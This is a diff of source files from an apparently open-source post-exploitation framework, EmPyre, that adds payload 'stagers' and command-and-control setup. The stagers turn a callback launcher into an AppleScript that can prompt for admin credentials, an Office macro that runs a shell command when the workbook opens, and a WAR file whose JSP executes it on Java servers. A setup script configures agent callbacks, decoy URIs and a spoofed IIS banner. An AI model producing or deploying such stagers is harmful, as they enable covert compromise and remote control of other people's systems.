+ 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'OutFile' : { + 'Description' : 'File to output AppleScript to, otherwise displayed on the screen.', + 'Required' : False, + 'Value' : '' + }, + 'AdminPrompt' : { + 'Description' : 'Switch. Prompt the user for administrative credentials when launching.', + 'Required' : False, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # extract all of our options + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + adminPrompt = self.options['AdminPrompt']['Value'] + + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + + else: + launcher = launcher.replace('"','\\"') + + applescript = "do shell script \"%s&\"" %(launcher) + + if adminPrompt: + applescript += " with administrator privileges" + + return applescript diff --git a/lib/stagers/hop_php.py b/lib/stagers/hop_php.py new file mode 100644 index 0000000..5025b19 --- /dev/null +++ b/lib/stagers/hop_php.py @@ -0,0 +1,71 @@ +from lib.common import helpers + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Launcher', + + 'Author': ['@harmj0y'], + + 'Description': ('Generates a hop.php redirector for an EmPyre listener.'), + + 'Comments': [ + '' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'OutFile' : { + 'Description' : 'File to output php redirector to.', + 'Required' : True, + 'Value' : '/tmp/hop.php' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # extract all of our options + listenerID = self.options['Listener']['Value'] + + # extract out the listener config information + listener = self.mainMenu.listeners.get_listener(listenerID) + if listener: + # extract out the listener config information + name = listener[1] + host = listener[2] + port = listener[3] + certPath = listener[4] + profile = listener[8] + listenerType = listener[-2] + redirectTarget = listener[-1] + + resources = profile.split("|")[0] + + code = self.mainMenu.stagers.generate_hop_php(host, resources) + + return code + + else: + print helpers.color("[!] Error in hop.php generation.") + return "" diff --git a/lib/stagers/launcher.py b/lib/stagers/launcher.py new file mode 100644 index 0000000..e48458e --- /dev/null +++ b/lib/stagers/launcher.py @@ -0,0 +1,86 @@ +from lib.common import helpers + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Launcher', + + 'Author': ['@harmj0y'], + + 'Description': ('Generates a one-liner stage0 launcher for EmPyre.'), + + 'Comments': [ + '' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'OutFile' : { + 'Description' : 'File to output launcher to, otherwise displayed on the screen.', + 'Required' : False, + 'Value' : '' + }, + 'Base64' : { + 'Description' : 'Switch. Base64 encode the output.', + 'Required' : True, + 'Value' : 'True' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # extract all of our options + listenerName = self.options['Listener']['Value'] + base64 = self.options['Base64']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + encode = False + if base64.lower() == "true": + encode = True + + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + + return launcher diff --git a/lib/stagers/macro.py b/lib/stagers/macro.py new file mode 100644 index 0000000..a5c95aa --- /dev/null +++ b/lib/stagers/macro.py @@ -0,0 +1,95 @@ +from lib.common import helpers + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'AppleScript', + + 'Author': ['@harmj0y'], + + 'Description': ('An OSX office macro.'), + + 'Comments': [ + "http://stackoverflow.com/questions/6136798/vba-shell-function-in-office-2011-for-mac" + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'OutFile' : { + 'Description' : 'File to output AppleScript to, otherwise displayed on the screen.', + 'Required' : False, + 'Value' : '' + }, + 'AdminPrompt' : { + 'Description' : 'Switch. Prompt the user for administrative credentials when launching.', + 'Required' : False, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # extract all of our options + listenerName = self.options['Listener']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + adminPrompt = self.options['AdminPrompt']['Value'] + + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + + else: + + launcher = launcher.replace("\"", "\"\"") + + macro = """ +Private Declare Function system Lib "libc.dylib" (ByVal command As String) As Long + +Private Sub Workbook_Open() + Dim result As Long + result = system("%s&") +End Sub +""" %(launcher) + + return macro diff --git a/lib/stagers/war.py b/lib/stagers/war.py new file mode 100644 index 0000000..ff7ba72 --- /dev/null +++ b/lib/stagers/war.py @@ -0,0 +1,124 @@ +from lib.common import helpers +import zipfile +import StringIO + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'WAR', + + 'Author': ['Andrew @ch33kyf3ll0w Bonstrom'], + + 'Description': ('Generates a Deployable War file.'), + + 'Comments': [ + 'You will need to deploy the WAR file to activate. Great for interfaces that accept a WAR file such as Apache Tomcat, JBoss, or Oracle Weblogic Servers.' + ] + } + + # any options needed by the stager, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'AppName' : { + 'Description' : 'Name for the .war/.jsp. Defaults to listener name.', + 'Required' : False, + 'Value' : '' + }, + 'OutFile' : { + 'Description' : 'File to write .war to.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # extract all of our options + listenerName = self.options['Listener']['Value'] + appName = self.options['AppName']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + + # appName defaults to the listenername + if appName == "": + appName = listenerName + + # generate the launcher code + launcher = self.mainMenu.stagers.generate_launcher(listenerName, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + if launcher == "": + print helpers.color("[!] Error in launcher command generation.") + return "" + + else: + + launcher = launcher.replace('"','\\"') + + # .war manifest + manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_35 (Sun Microsystems Inc.)\r\n\r\n" + + # Create initial JSP and Web XML Strings with placeholders + jspCode = '''<%@ page import="java.io.*" %> +<% +Process p=Runtime.getRuntime().exec("'''+str(launcher)+'''"); +%> +''' + + # .xml deployment config + wxmlCode = ''' + + + +%s +/%s.jsp + + +''' %(appName, appName) + + # build the in-memory ZIP and write the three files in + warFile = StringIO.StringIO() + zipData = zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED) + + zipData.writestr("META-INF/MANIFEST.MF", manifest) + zipData.writestr("WEB-INF/web.xml", wxmlCode) + zipData.writestr(appName + ".jsp", jspCode) + zipData.close() + + return warFile.getvalue() diff --git a/setup/cert.sh b/setup/cert.sh new file mode 100755 index 0000000..d6c8a0d --- /dev/null +++ b/setup/cert.sh @@ -0,0 +1,5 @@ +#!/bin/bash + +openssl req -new -x509 -keyout ../data/empyre.pem -out ../data/empyre.pem -days 365 -nodes -subj "/C=US" >/dev/null 2>&1 + +echo -e "\n\n [*] Certificate written to ../data/empyre.pem\n" diff --git a/setup/install.sh b/setup/install.sh new file mode 100755 index 0000000..a01d06f --- /dev/null +++ b/setup/install.sh @@ -0,0 +1,52 @@ +#!/bin/bash + +IFS='/' read -a array <<< pwd + +if [[ "$(pwd)" != *setup ]] +then + cd ./setup +fi + +version=$( lsb_release -r | grep -oP "[0-9]+" | head -1 ) +if lsb_release -d | grep -q "Fedora"; then + Release=Fedora + dnf install -y python-devel m2crypto python-m2ext swig python-iptools python3-iptools + pip install pycrypto + pip install iptools + pip install pydispatcher +elif lsb_release -d | grep -q "Kali"; then + Release=Kali + apt-get install python-dev + apt-get install python-m2crypto + apt-get install swig + apt-get install python-pip + pip install pycrypto + pip install iptools + pip install pydispatcher +elif lsb_release -d | grep -q "Ubuntu"; then + Release=Ubuntu + apt-get install python-dev + apt-get install python-m2crypto + apt-get install swig + pip install pycrypto + pip install iptools + pip install pydispatcher +else + echo "Unknown distro - Debian/Ubuntu Fallback" + apt-get install python-dev + apt-get install python-m2crypto + apt-get install swig + pip install pycrypto + pip install iptools + pip install pydispatcher +fi + +# set up the database schema +./setup_database.py + +# generate a cert +./cert.sh + +cd .. + +echo -e '\n [*] Setup complete!\n' diff --git a/setup/reset.sh b/setup/reset.sh new file mode 100755 index 0000000..96424f2 --- /dev/null +++ b/setup/reset.sh @@ -0,0 +1,22 @@ +#!/bin/bash + +IFS='/' read -a array <<< pwd + +if [[ "$(pwd)" != *setup ]] +then + cd ./setup +fi + +# reset the database +rm ../data/empyre.db +./setup_database.py +cd .. + +# remove the debug file if it exists +rm empyre.debug + +# remove the download folders +rm -rf ./downloads/ + +# start up EmPyre +./empyre --debug diff --git a/setup/setup_database.py b/setup/setup_database.py new file mode 100755 index 0000000..e3138f5 --- /dev/null +++ b/setup/setup_database.py @@ -0,0 +1,174 @@ +#!/usr/bin/python + +import sqlite3, os, string, hashlib +from Crypto.Random import random + + +################################################### +# +# Default values for the config +# +################################################### + +# Staging Key is set up via environmental variable +# or via command line. By setting RANDOM a randomly +# selected password will automatically be selected +# or it can be set to any bash acceptable character +# set for a password. + +STAGING_KEY = os.getenv('STAGING_KEY', "BLANK") +punctuation = '!#$%&()*+,-./:;<=>?@[\]^_`{|}~' + +# otherwise prompt the user for a set value to hash for the negotiation password +if STAGING_KEY == "BLANK": + choice = raw_input("\n [>] Enter server negotiation password, enter for random generation: ") + if choice == "": + # if no password is entered, generation something random + STAGING_KEY = ''.join(random.sample(string.ascii_letters + string.digits + punctuation, 32)) + else: + STAGING_KEY = hashlib.md5(choice).hexdigest() +elif STAGING_KEY == "RANDOM": + STAGING_KEY = ''.join(random.sample(string.ascii_letters + string.digits + punctuation, 32)) + +# the resource requested by the initial launcher +STAGE0_URI = "index.asp" + +# the resource used by the RSA key post +STAGE1_URI = "index.jsp" + +# the resource used by the sysinfo checkin that returns the agent.ps1 +STAGE2_URI = "index.php" + +# the default delay (in seconds) for agent callback +DEFAULT_DELAY = 5 + +# the default jitter (0.0-1.0) to apply to the callback delay +DEFAULT_JITTER = 0.0 + +# the default traffic profile to use for agent communications +# format -> requestUris|user_agent|additionalHeaders +DEFAULT_PROFILE = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" + +# default https cert to use +DEFAULT_CERT_PATH = '' + +# the default port for listeners +DEFAULT_PORT = 8080 + +# the installation path for EmPyre, defaults to auto-calculating it +INSTALL_PATH = "/".join(os.getcwd().split("/")[0:-1])+"/" + +# the version version to appear as +SERVER_VERSION = "Microsoft-IIS/7.5" + +# an IP white list to ONLY accept clients from +# format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8 +IP_WHITELIST = "" + +# an IP black list to reject accept clients from +# format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8 +IP_BLACKLIST = "" + +#number of times an agent will call back without an answer prior to exiting +DEFAULT_LOST_LIMIT = 60 + + + +################################################### +# +# Database setup. +# +################################################### + + +conn = sqlite3.connect('../data/empyre.db') + +c = conn.cursor() + +# try to prevent some of the weird sqlite I/O errors +c.execute('PRAGMA journal_mode = OFF') + +c.execute('''CREATE TABLE config ( + "staging_key" text, + "stage0_uri" text, + "stage1_uri" text, + "stage2_uri" text, + "default_delay" integer, + "default_jitter" real, + "default_profile" text, + "default_cert_path" text, + "default_port" text, + "install_path" text, + "server_version" text, + "ip_whitelist" text, + "ip_blacklist" text, + "default_lost_limit" integer, + "autorun_command" text, + "autorun_data" text + )''') + +# kick off the config component of the database +c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_LOST_LIMIT, "", "")) + +c.execute('''CREATE TABLE "agents" ( + "id" integer PRIMARY KEY, + "session_id" text, + "listener" text, + "name" text, + "delay" integer, + "jitter" real, + "external_ip" text, + "internal_ip" text, + "username" text, + "high_integrity" integer, + "process_id" text, + "hostname" text, + "os_details" text, + "session_key" text, + "nonce" text, + "checkin_time" text, + "lastseen_time" text, + "servers" text, + "uris" text, + "old_uris" text, + "user_agent" text, + "headers" text, + "kill_date" text, + "working_hours" text, + "py_version" text, + "lost_limit" integer + )''') + +c.execute('''CREATE TABLE "listeners" ( + "id" integer PRIMARY KEY, + "name" text, + "host" text, + "port" integer, + "cert_path" text, + "staging_key" text, + "default_delay" integer, + "default_jitter" real, + "default_profile" text, + "kill_date" text, + "working_hours" text, + "listener_type" text, + "redirect_target" text, + "default_lost_limit" integer + )''') + + +# event_types -> checkin, task, result, rename +c.execute('''CREATE TABLE "reporting" ( + "id" integer PRIMARY KEY, + "name" text, + "event_type" text, + "message" text, + "time_stamp" text + )''') + + +# commit the changes and close everything off +conn.commit() +conn.close() + +print "\n [*] Database setup completed!\n"